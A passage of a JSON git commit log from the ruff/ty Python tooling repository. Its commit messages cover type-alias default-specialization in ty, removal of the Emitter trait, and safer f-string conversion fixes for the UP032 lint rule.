_(x: AnotherAlias[bytes]): ...\n\n# The bare reference to GenAlias inside AnotherAlias is default-specialized:\ndef _(x: AnotherAlias):\n    reveal_type(x)  # list[str] | int\n```\n\nWe do make one carve-out from this rule: we consider a plain assignment\nlike `A \u003d B` or `A \u003d module.B` to be a direct \"rename\" or \"forward\" that\ndoesn\u0027t really treat the RHS as a type expression, and thus doesn\u0027t\ndefault-specialize anything; instead `A` just becomes a new name for\n`B`. This feels more intuitive, and matches pyrefly and pyright. This\ncarve-out does not apply to PEP 613 type aliases: `A: TypeAlias \u003d B` is\nexplicitly a type alias, not a rename, so it does default-specialize\n`B`.\n\nReject computed values used as types, including values that evaluate to\nclasses or `Any`, and preserve that validation when `invalid-type-form`\nis disabled. Definition lookup stays behind a tracked query so unrelated\nedits in an imported module do not invalidate consumers.\n\nFixes https://github.com/astral-sh/ty/issues/1711.\nFixes https://github.com/astral-sh/ty/issues/1846.\nPrepares https://github.com/astral-sh/ty/issues/4683. Runtime `|`\nbehavior is not changed here.\n\nSource-location diagnostic explanations for invalid aliases are added in\nthe follow-up #29654.\n\n## Ecosystem\n\n[Full ecosystem\nanalysis](https://github.com/astral-sh/ruff/pull/29200#issuecomment-6353595871)\nfor `b175c73` covers all 150 diagnostic changes across 21 projects: 61\nadditions, 58 removals, and 31 message changes. New diagnostics\nprimarily validate computed values used as types and default-specialized\nexplicit aliases. Improved alias inference removes cascading errors and\npreserves forward references and generic parameters.\n\nThe nine new discord.py false positives match the known\n[ty#4016](https://github.com/astral-sh/ty/issues/4016) callback-context\nlimitation and are accepted for this PR. No other new false positives\nwere identified.\n\nConformance gains six expected diagnostics (five in\n`aliases_implicit.py`, one in `aliases_explicit.py`) and two fully\npassing files, with no new conformance false positives."
    },
    {
      "commit": "7060eed2befa5c84ec6f8f5b1f71681d1a108ca8",
      "tree": "95267941320ddd26c384c4fce33878b54b74eaf9",
      "parents": [
        "601192dfdb7ac4a636dec0d7e2daf14ba179cfc8"
      ],
      "author": {
        "name": "Brent Westbrook",
        "email": "36778786+ntBre@users.noreply.github.com",
        "time": "Fri Oct 23 17:41:48 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 23 17:41:48 2026 -0400"
      },
      "message": "Clean up `Emitter` trait (#29680)\n\nSummary\n--\n\nAs pointed out in [#29635], we still had this `Emitter` trait, despite\nalmost all output formats\nmoving to `ruff_db` and its `Renderer` trait. This PR cleans up the last\nuse of `Emitter` in Ruff\u0027s\n`Grouped` output format, as well as some custom settings handling in the\n`GroupedEmitter` that is\nnow addressed by the shared `DisplayDiagnosticConfig`.\n\nIf we want to move this output format to `ruff_db` or share it with ty\nin the future, this should\nalso help with that.\n\nTest Plan\n--\n\nExisting tests\n\n[#29635]:\nhttps://github.com/astral-sh/ruff/pull/29635#discussion_r4362259048"
    },
    {
      "commit": "601192dfdb7ac4a636dec0d7e2daf14ba179cfc8",
      "tree": "77657e47010ddacfc57ee62175a2efd00f2ebc8c",
      "parents": [
        "5e90790d110b5f1c531e775bef1401b26d37976b"
      ],
      "author": {
        "name": "Anish Giri",
        "email": "161533316+anishgirianish@users.noreply.github.com",
        "time": "Fri Oct 23 15:24:46 2026 -0500"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Fri Oct 23 16:24:46 2026 -0400"
      },
      "message": "[`pyupgrade`] Avoid incorrect conversions to f-strings (`UP032`) (#25485)\n\n## Summary\n\nFixes part of #15874: UP032 emitted broken fixes for str.format calls\nwith no f-string equivalent. Non-identifier attributes, quote-clashing\nor backslash keys, unknown conversions, and mixed numbering are now\nskipped. Signed indices like {+0} were a parser bug (leading +\naccepted), which also affected F523/F524\n\n## Test Plan\n\nNew mdtest at crates/ruff_linter/resources/mdtest/pyupgrade/f-string.md\nplus parser unit tests"
    }
  ],
  "next": "5e90790d110b5f1c531e775bef1401b26d37976b"
}
